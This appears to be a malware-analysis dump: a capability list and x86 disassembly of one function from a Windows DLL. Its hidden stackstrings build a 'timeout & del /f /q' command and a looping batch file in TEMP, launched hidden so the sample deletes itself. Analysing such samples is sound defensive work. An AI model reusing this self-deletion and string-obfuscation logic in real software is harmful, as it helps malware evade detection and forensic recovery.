Function at 0x10002c60
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11fc
call fcn.10033d50
mov eax, dword [0x10043014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [0x100461f8], eax
xor ebx, ebx
mov eax, dword [ebp + 0xc]
mov dword [0x10046200], eax
lea eax, [ebp - 0x1180]
push esi
push eax
mov dword [ebp - 0x1180], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 0x1180], ebx
je 0x10002cb4
push ebx
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
mov esi, 0x104
lea eax, [ebp - 0x464]
push esi
push ebx
push eax
call fcn.100093f0
add esp, 0xc
lea eax, [ebp - 0x464]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push eax
push ebx
call esi
call fcn.1000140c
test al, al
jne 0x100030ee
call fcn.100012d1
test al, al
jne 0x100030ee
call fcn.100011cc
test al, al
jne 0x10002dc0
call fcn.100010d1
test al, al
jne 0x10002dc0
push 0x1003fdb8
lea ecx, [ebp - 0x117c]
mov dword [ebp - 0x117c], ebx
call fcn.100040c1
lea eax, [ebp - 0x464]
mov dword [ebp - 0x37], 0x632f2064
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x18], 0x2f20662f
push eax
lea eax, [ebp - 0xd78]
mov dword [ebp - 0x11], 0x227325
push eax
mov dword [ebp - 0x27], 0x646d6320
mov dword [ebp - 0x2c], 0x20362074
mov dword [ebp - 0x1d], 0x6c656420
mov dword [ebp - 0x23], 0x20642f20
mov word [ebp - 0x13], 0x2220
mov word [ebp - 0x2e], 0x756f
mov dword [ebp - 0x3b], 0x2f20646d
mov dword [ebp - 0x33], 0x6d697420
mov word [ebp - 0x1f], 0x632f
mov byte [ebp - 0x14], 0x71
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x19], 0x20
mov byte [ebp - 0x28], 0x26
mov byte [ebp - 0x3c], 0x63
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0xd78]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002dae
lea eax, [ebp - 0xd78]
jmp 0x100031ac
push 0x104
lea eax, [ebp - 0x360]
push ebx
push eax
call fcn.100093f0
push 0x104
lea eax, [ebp - 0x158]
push ebx
push eax
call fcn.100093f0
push 0x410
lea eax, [ebp - 0x978]
push ebx
push eax
call fcn.100093f0
push 0x104
lea eax, [ebp - 0x568]
push ebx
push eax
call fcn.100093f0
push 0x104
lea eax, [ebp - 0x25c]
push ebx
push eax
call fcn.100093f0
add esp, 0x3c
lea eax, [ebp - 0x360]
push 0x104
push eax
push ebx
call esi
push 0x104
lea eax, [ebp - 0x568]
mov word [ebp - 0x49], 0x50
push eax
lea eax, [ebp - 0x4c]
mov word [ebp - 0x4c], 0x4554
push eax
mov byte [ebp - 0x4a], 0x4d
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
mov dword [ebp - 0x11fb], 0x756f6965
cmp ecx, eax
mov word [ebp - 0x11f7], 0x79
lea ecx, [ebp - 0x568]
mov byte [ebp - 0x11fc], 0x61
sbb eax, eax
mov dword [ebp - 0x11ee], 0x68676664
and eax, ecx
mov word [ebp - 0x11e5], 0x7170
mov dword [ebp - 0x117c], eax
mov word [ebp - 0x11e2], 0x7473
mov dword [ebp - 0x11ea], 0x6d6c6b6a
mov dword [ebp - 0x11df], 0x7a7877
mov word [ebp - 0x11f0], 0x6362
mov byte [ebp - 0x11e6], 0x6e
mov byte [ebp - 0x11e0], 0x76
mov byte [ebp - 0x11e3], 0x72
call fcn.1003778f
push 9
push 1
push ecx
call fcn.10004fb3
mov ebx, eax
xor esi, esi
test ebx, ebx
js 0x10002f29
mov ecx, esi
and ecx, 0x80000001
jns 0x10002ef4
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x10002f0c
push 5
push 0
push ecx
call fcn.10004fb3
mov al, byte [ebp + eax - 0x11fc]
jmp 0x10002f1d
push 0x13
push 0
push ecx
call fcn.10004fb3
mov al, byte [ebp + eax - 0x11f0]
mov byte [ebp + esi - 0x25c], al
inc esi
cmp esi, ebx
jle 0x10002ee5
or esi, 0xffffffff
mov dword [ebp - 0x53], 0x746162
push esi
lea eax, [ebp - 0x54]
mov byte [ebp - 0x54], 0x2e
push eax
lea eax, [ebp - 0x25c]
xor ebx, ebx
push 0x104
push eax
call fcn.100114e0
push esi
push dword [ebp - 0x117c]
lea eax, [ebp - 0x158]
push 0x104
push eax
call fcn.1001159c
push esi
push 0x1003fdc4
lea eax, [ebp - 0x158]
push 0x104
push eax
call fcn.100114e0
push esi
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x158]
push 0x104
push eax
call fcn.100114e0
add esp, 0x40
mov word [ebp - 0x2c], 0xd22
lea eax, [ebp - 0x158]
mov dword [ebp - 0x16], 0xd797274
mov dword [ebp - 0x1c], 0x746f6720
mov word [ebp - 0x3c], 0xd66
push eax
lea eax, [ebp - 0x360]
mov word [ebp - 0x12], 0x640a
push eax
push eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x35], 0x65640a0d
push eax
push esi
lea eax, [ebp - 0x978]
mov word [ebp - 0xf], 0x206c
push 0x410
push eax
mov dword [ebp - 0x43], 0x6f686365
mov dword [ebp - 0x29], 0x65206669
mov dword [ebp - 0x3a], 0x72743a0a
mov dword [ebp - 0x31], 0x2522206c
mov dword [ebp - 0x20], 0x22732522
mov word [ebp - 0x3f], 0x6f20
mov word [ebp - 0xc], 0x73
mov byte [ebp - 0x2a], 0xa
mov dword [ebp - 0x25], 0x74736978
mov byte [ebp - 0x10], 0x65
mov word [ebp - 0x18], 0x206f
mov byte [ebp - 0x44], 0x40
mov byte [ebp - 0xd], 0x25
mov byte [ebp - 0x36], 0x79
mov byte [ebp - 0x2d], 0x73
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x3d], 0x66
call fcn.10004680
add esp, 0x18
mov edx, 0xc0000000
push 0x80
push 2
push ecx
push 3
lea ecx, [ebp - 0x158]
call fcn.10002488
lea ecx, [ebp - 0x978]
add esp, 0x14
mov esi, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003073
sub ecx, edx
lea eax, [ebp - 0x1184]
push ecx
push eax
push ecx
lea edx, [ebp - 0x978]
mov ecx, esi
call fcn.1000213c
mov ecx, esi
call fcn.100026e0
push 0x44
pop esi
push esi
lea eax, [ebp - 0x11c8]
push ebx
push eax
call fcn.100093f0
add esp, 0x18
mov dword [ebp - 0x11c8], esi
xor eax, eax
mov dword [ebp - 0x119c], 1
mov word [ebp - 0x1198], ax
lea eax, [ebp - 0x11d8]
push eax
lea eax, [ebp - 0x11c8]
push eax
push ebx
push ebx
push 0x50
push ebx
push ebx
push ebx
lea eax, [ebp - 0x158]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x100031d4
push 0x1003fdb8
lea ecx, [ebp - 0x117c]
mov dword [ebp - 0x117c], ebx
call fcn.100040c1
lea eax, [ebp - 0x464]
mov dword [ebp - 0x39], 0x20642f20
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x18], 0x662f2065
push eax
lea eax, [ebp - 0x1178]
mov word [ebp - 0x27], 0x6320
push eax
mov dword [ebp - 0x2c], 0x20342074
mov word [ebp - 0x3b], 0x646d
mov dword [ebp - 0x11], 0x73252220
mov dword [ebp - 0x1c], 0x73617265
mov word [ebp - 0xd], 0x22
mov dword [ebp - 0x22], 0x2f20642f
mov dword [ebp - 0x31], 0x6f656d69
mov word [ebp - 0x34], 0x2063
mov byte [ebp - 0x3c], 0x63
mov word [ebp - 0x14], 0x2f20
mov word [ebp - 0x24], 0x2064
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x2d], 0x75
mov byte [ebp - 0x28], 0x26
mov byte [ebp - 0x12], 0x71
mov word [ebp - 0x1e], 0x2063
mov byte [ebp - 0x35], 0x2f
mov byte [ebp - 0x25], 0x6d
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x1178]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000319f
lea eax, [ebp - 0x1178]
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x117c]
call fcn.100044d0
mov ecx, dword [ebp - 0x117c]
call fcn.10001e08
mov ecx, dword [ebp - 0x117c]
lea ecx, [ecx - 0x10]
call fcn.10003e03
cmp dword [ebp - 0x1180], 0
pop esi
pop ebx
je 0x100031e7
push 1
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10006830
mov esp, ebp
pop ebp
ret